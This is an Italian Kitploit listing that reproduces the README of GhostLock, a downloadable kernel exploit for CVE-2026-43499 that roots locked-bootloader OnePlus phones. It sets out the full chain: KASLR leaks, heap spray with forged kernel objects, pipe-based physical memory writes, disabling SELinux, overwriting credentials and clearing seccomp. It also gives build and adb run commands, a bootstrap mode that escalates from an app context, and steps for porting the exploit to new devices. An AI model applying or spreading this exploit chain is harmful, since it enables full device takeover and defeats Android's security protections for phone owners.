Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
GhostLock-for-OnePlus — (CVE-2026-43499) Exploit del kernel per dispositivi OnePlus con bootloader non sbloccato. | Kitploit
Strumenti/GitHubGitHub/p2p3p/ghostlock-for-oneplus
Sicurezza AndroidEscalation di PrivilegiExploitPost-ExploitApprendimento e FormazioneSviluppo PayloadBinary Exploitation
GitHubp2p3p/ghostlock-for-oneplus

GhostLock-for-OnePlus

(CVE-2026-43499) Exploit del kernel per dispositivi OnePlus con bootloader non sbloccato.

Vedi Repository
3613191 mese faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

GhostLock — OnePlus

中文

Exploit del kernel destinato a dispositivi OnePlus con bootloader bloccato. Utilizza CVE-2026-43499 per ottenere accesso root senza sbloccare il bootloader né modificare boot.img.

Solo per ricerca di sicurezza autorizzata e scopi educativi.


Sommario

  • Panoramica della vulnerabilità
  • Dispositivi supportati
  • Prerequisiti
  • Compilazione
  • Utilizzo
  • Modalità di esecuzione
  • Dettagli tecnici
  • Struttura dei file
  • Aggiungere nuovi dispositivi
  • FAQ

Panoramica della vulnerabilità

ElementoDettaglio
CVECVE-2026-43499
TipoUse-After-Free in Futex PI (Priority Inheritance)
AmbitoKernel Linux 2.6.39 ~ 7.1
Corretto inMainline 7.1 (commit 3bfdc63936dd)
Stato AndroidGKI 6.12.x ancora vulnerabile

Causa principale

La chiamata di sistema pselect6 copia fd_set nello stack del kernel. Quando combinata con il meccanismo del waiter futex PI, un frame di stack liberato può essere riallocato come struttura rt_mutex_waiter. Durante la traversata della catena PI, il ribilanciamento dell'albero rb scrive dati controllati in indirizzi arbitrari del kernel.

Catena

root@kitploit:~
futex PI UAF (CVE-2026-43499)
  ├─ Forgiare oggetto rt_mutex_waiter
  ├─ Controllare lo stack del kernel tramite il layout fd_set di pselect/select
  ├─ Attivare l'operazione rt_mutex PI per scrittura arbitraria
  ├─ Scrittura 1: selinux_state.enforcing = 0
  └─ Scrittura 2: cred → init_cred (uid=0, capacità complete)

Dispositivi supportati

Altri dispositivi OnePlus sulla stessa famiglia SoC, Android 16 o kernel 6.12.x possono essere adattati tramite l'estrazione degli offset da boot.img.


Prerequisiti

ksud (Richiesto per KernelSU)

GhostLock gestisce l'elevazione dei privilegi. L'installazione di KernelSU richiede ksud (in bundle con kernelsu.ko specifico per KMI):

FonteNote
APK ReSukiSU (consigliato)Installare ReSukiSU; l'APK contiene

Senza ksud, l'exploit ottiene comunque una shell root con uid=0, ma KernelSU non verrà installato e su non persisterà.


Compilazione

Prerequisiti

  • Android NDK (r25+)
  • Impostare ANDROID_NDK_HOME o ANDROID_NDK_ROOT

Compilare

root@kitploit:~
# Predefinito (API 35)
make

# Specificare il livello API
make API=34

# Specificare il percorso NDK
NDK=/path/to/android-ndk make

Artefatto

ghostlock — eseguibile ELF ARM64 collegato staticamente.


Utilizzo

Configurazione iniziale

root@kitploit:~
# 1. Abilitare la modalità ADB TCP
adb tcpip 5555

# 2. Inviare la chiave ADB (richiesta per la modalità bootstrap)
adb push ~/.android/adbkey /data/local/tmp/a/adbkey

# 3. Inviare l'exploit
adb push ghostlock /data/local/tmp/a/e
adb shell chmod 755 /data/local/tmp/a/e

Dopo il primo successo, resetprop imposta automaticamente persist.adb.tcp.port=5555, consentendo esecuzioni completamente automatiche nei riavvii successivi.


Modalità di esecuzione

Exploit completo (contesto shell ADB)

root@kitploit:~
/data/local/tmp/a/e
  • perf disponibile, leak preciso di task_struct del figlio
  • Due fasi: W1 disabilita SELinux → W2 elevazione privilegi → carica KernelSU

Modalità Bootstrap (contesto App, seccomp limitato)

root@kitploit:~
/data/local/tmp/a/e --bootstrap
  1. Scrittura 1 → disabilita SELinux
  2. Utilizzare i permessi liberati per setprop abilitare ADB TCP 5555
  3. Client Mini ADB integrato si connette a 127.0.0.1:5555
  4. Autenticazione RSA con chiave precedentemente inviata
  5. Esecuzione completa dell'exploit tramite shell ADB (nessun seccomp)

Solo Scrittura 1

root@kitploit:~
/data/local/tmp/a/e --write1
  • Fino a 20 tentativi
  • Utile per debug o disabilitazione temporanea di SELinux

Dettagli tecnici

1. Riconoscimento del kernel in esecuzione

Offset memorizzati nella tabella di ricerca src/devices/offsets.h, indicizzati da uname -r. Il programma li abbina automaticamente all'avvio; kernel sconosciuti vengono rifiutati.

root@kitploit:~
static const struct kernel_offsets known_offsets[] = {
  OFFSETS_ENTRY("6.12.38-android16-5-...-ab14275539-4k", ...),
  OFFSETS_ENTRY("6.12.38-android16-5-...-ab14552068-4k", ...),
  OFFSETS_ENTRY("6.12.23-android16-5-...-ab14541642-4k", ...),
  { .uname_r = NULL }  /* sentinella */
};

Fonti degli offset

Strutture verificate con BTF

2. Bypass KASLR

Modalità SLIDE — Leak di boot_id

Quando i puntatori del kernel sono limitati (kptr_restrict), si ottiene l'indirizzo base tramite boot_id sovrascritto con un indirizzo del kernel:

root@kitploit:~
Leggi /proc/sys/kernel/random/boot_id
  └─ L'UUID contiene l'indirizzo di nfulnl_logger
      └─ Spostamento KASLR = indirizzo_leakato - image_offset
          └─ kaslr_base

Modalità FOPS/CFI — Leak della tabella fops

Quando il dispositivo ashmem è accessibile, si utilizzano le primitive di lettura/scrittura di configfs per leggere i puntatori a funzione dalla tabella fops di ashmem e calcolare l'offset KASLR.

3. Heap spray del kernel

Forgiare oggetti del kernel su pagine order-3 (32KB):

  • Fake file_operations — dirottare il puntatore fops del miscdevice ashmem
  • Fake rt_mutex_waiter — simulare un nodo waiter nella catena PI
  • Fake task_struct — riferimento al task durante la traversata PI
  • Fake rt_mutex (lock) — informazioni corrette su waiter/owner

Implementato tramite SKB (socket buffer) + KernelSnitch:

  • KernelSnitch — collisione hash di futex per leak di indirizzi mm_struct
  • SKB spray — sendmsg per riempire l'heap del kernel

4. Lettura/Scrittura fisica della memoria (Pipe)

Dopo aver ottenuto la base KASLR, si utilizzano i buffer pipe per l'accesso alla memoria a livello fisico:

root@kitploit:~
1. Individuare il buffer pipe nella physmap
2. Forgiare la tabella delle operazioni pipe_buffer che punta a known_pipe_buf_ops
3. Dirottare pipe_buffer.page verso l'indirizzo fisico target
4. Lettura/scrittura fisica arbitraria tramite normali operazioni pipe

Supportate: pipe_read64, pipe_write64, pipe_phys_read_data, pipe_phys_write_data

5. Scrittura in due fasi

Scrittura 1 — Disabilitare SELinux

root@kitploit:~
Target: selinux_state.enforcing (offset 0x00)
Metodo: scrittura PI del nodo figlio → forgiare __rb_parent_color del waiter
        che punta a selinux_enforcing - 8
        il ribilanciamento dell'albero rb scrive 0x00

Scrittura 2 — Elevare a root

root@kitploit:~
Target: puntatore cred del processo figlio
Metodo: 1. fork del figlio → perf_find_task() localizza task_struct
        2. calcolare l'offset del campo cred
        3. scrittura PI del nodo figlio → cred = init_cred (uid=0, caps complete)
        4. cancellare seccomp (TIF_SECCOMP + struttura seccomp azzerata)

Dopo la sovrascrittura di cred viene eseguita una verifica di lettura delle capacità.

6. Client Mini ADB integrato

src/core/miniadb.c — client leggero del protocollo ADB per la modalità bootstrap:

root@kitploit:~
1. TCP connect 127.0.0.1:5555
2. A_CNXN → richiesta di connessione
3. A_AUTH → sfida token RSA
4. dlopen("libcrypto.so") → PEM_read_bio_RSAPrivateKey → RSA_sign
5. A_AUTH (AUTH_SIGNATURE) → risposta firmata
6. A_CNXN → connessione stabilita
7. A_OPEN "shell:/data/local/tmp/a/e" → exploit completo

Supporta algoritmi di firma SHA-1 e SHA-256.


Struttura dei file

root@kitploit:~
ghostlock-oneplus/
├── Makefile                        # Configurazione di compilazione (cross-compilazione NDK)
├── README.md                       # Documentazione
├── src/
│   ├── core/                       # Codice principale dell'exploit
│   │   ├── main.c                  # Punto di ingresso: scrittura in due fasi + shell root
│   │   ├── fops.c                  # Modalità FOPS/CFI: percorso pselect, scrittura PI, leak KASLR
│   │   ├── util.c                  # Utility: heap spray, KASLR, primitive R/W del kernel
│   │   ├── slide.c                 # Modalità SLIDE: leak KASLR da boot_id + percorso pselect
│   │   ├── pipe.c                  # Lettura/scrittura fisica della memoria tramite buffer pipe (physrw)
│   │   ├── root.c                  # Sovrascrittura cred, cancellazione seccomp, gestione figlio root
│   │   ├── miniadb.c              # Client ADB integrato (TCP + autenticazione RSA)
│   │   ├── common.h               # Macro globali, strutture, dichiarazioni, costanti
│   │   ├── target.h               # Layout di memoria target / offset delle strutture / parametri KASLR
│   │   ├── offset.h               # Ponte di configurazione target in fase di compilazione (#include TARGET_CONFIG_H)
│   │   └── kernelsnitch/          # KernelSnitch — leak dell'indirizzo mm_struct
│   │       ├── kernelsnitch.h     # Algoritmo principale: collisione hash futex + forza bruta
│   │       ├── futex_hash.h       # Funzione hash di futex
│   │       ├── timeutils.h        # Misurazione timestamp CPU (RDTSC)
│   │       └── utils.h            # Macro helper (pr_info / SYSCHK / ASSERT ecc.)
│   └── devices/                   # Tabelle degli offset per dispositivo
│       ├── offsets.h              # Aggrega tutti gli offset dei dispositivi (tabella di ricerca + sentinella)
│       ├── ace6t/offsets.h        # Offset per OnePlus Ace 6T (2 versioni del kernel)
│       └── op15/offsets.h         # Offset per OnePlus 15 (1 versione del kernel)
└── tools/                         # Toolkit per estrazione offset
    ├── extract_target.py          # Estrae gli offset dei simboli globali da kallsyms (28 elementi)
    └── extract_btf.py             # Estrae gli offset dei campi delle strutture BTF (57 elementi)

Panoramica dei moduli principali


Aggiungere nuovi dispositivi

È necessario solo il boot.img del dispositivo target — non è richiesto root né accesso al dispositivo.

Estrarre gli offset

root@kitploit:~
# 1. Estrarre il kernel da boot.img
python -c "import struct; d=open('boot.img','rb').read(); \
           open('kernel','wb').write(d[4096:4096+struct.unpack_from('<I',d,8)[0]])"

# 2. Ottenere kallsyms (root: adb shell su -c 'cat /proc/kallsyms' > kallsyms.txt)
#    Oppure da vmlinux: nm vmlinux > kallsyms.txt

# 3. Estrarre gli offset dei simboli globali
python tools/extract_target.py     # 28 offset, verifica automatica

# 4. Estrarre gli offset dei campi delle strutture
python tools/extract_btf.py kernel  # 57 offset, verifica automatica

Passaggi per l'adattamento

  1. Creare src/devices/<nome>/offsets.h (vedere ace6t/offsets.h)
  2. #include in src/devices/offsets.h
  3. Aggiornare KIMAGE_TEXT_BASE e il layout di memoria in src/core/target.h se necessario
  4. Ricompilare

Ottimizzazione tra dispositivi


FAQ

D: Nessun output durante l'esecuzione?

Assicurati di eseguire in una shell ADB. Il contesto App richiede --bootstrap.

D: "nessun offset per questo kernel"?

La tua versione del kernel non è ancora supportata. Segui Aggiungere nuovi dispositivi per estrarre gli offset e ricompilare.

D: La Scrittura 1 fallisce continuamente?

  • Assicurati di fissare il core CPU corretto (macro CORE)
  • Modifica la temporizzazione di PSELECT_ENTER_DELAY_USEC
  • Controlla eventuali processi interferenti

D: La Scrittura 2 restituisce 0 da perf?

  • Verifica se seccomp blocca perf_event_open (usa --bootstrap in contesto App)
  • Controlla che il bypass KASLR sia riuscito (kaslr_base valido)

D: KernelSU non si carica?

  • Conferma che ksud esista e sia eseguibile
  • Controlla l'integrità del file policy di rete (fix load_policy)

Licenza

Solo per ricerca di sicurezza autorizzata e scopi educativi.

Scarica lo strumento
DispositivoNome in codiceSoCKernelFirmwareStato
OnePlus Ace 6TPLR110SM8845 (Snapdragon 8s Elite)6.12.38-android16-5-...-ab14275539-4kColorOS 16.0.2.403✅ Verificato
OnePlus Ace 6TPLR110SM8845 (Snapdragon 8s Elite)6.12.38-android16-5-...-ab14552068-4kColorOS 16.0.8.301✅ Verificato
OnePlus 15PLK110SM8845 (Snapdragon 8s Elite)6.12.23-android16-5-...-ab14541642-4k—✅ Verificato
libksud.so
Rilascio CIScaricare da ReSukiSU CI (ksud-aarch64-linux-android.zip)
TipoConteggioEstrazione
Simboli globali kallsyms28tools/extract_target.py
Campi di strutture BTF57tools/extract_btf.py
Valori derivati9Calcolati automaticamente
Costanti fisse12Hardcoded
StrutturaCampiScopo
task_struct17Descrittore di processo, cred, seccomp
rt_mutex_waiter6Obiettivo di forgiatura UAF
cred4Credenziali, capacità
seccomp3Stato del filtro seccomp
pipe_inode_info11Operazioni su buffer pipe
file_operations13Tabella fops falsa
mm_struct1Proprietario del descrittore di memoria
ModuloFileResponsabilità
Entrymain.cAnalisi CLI, dispatch W1/W2, flusso bootstrap
Percorso PIfops.c / slide.cLayout stack pselect/select, manipolazione catena futex PI
KASLRutil.c / fops.c / slide.cBypass a doppia modalità: leak boot_id + leak tabella fops
Heap Sprayutil.cAllocazione pagine order-3, SKB spray, layout oggetti forgiati
Lettura/Scrittura fisicapipe.cDirottamento buffer pipe, accesso arbitrario alla memoria fisica
Elevazione privilegiroot.cSovrascrittura cred, verifica capacità, cancellazione seccomp
ADBminiadb.cClient leggero del protocollo ADB, autenticazione RSA
Motore di leakkernelsnitch/Collisione hash futex per localizzare mm_struct
ElementoNote
VA_BITS48 vs 39 → aggiornare il layout di memoria in target.h
TemporizzazioneModificare i parametri PSELECT_* in common.h
AshmemImplementazione C vs Rust → aggiornare la corrispondenza dei simboli in extract_target.py
SecureguardI dispositivi non OnePlus possono semplificare la distribuzione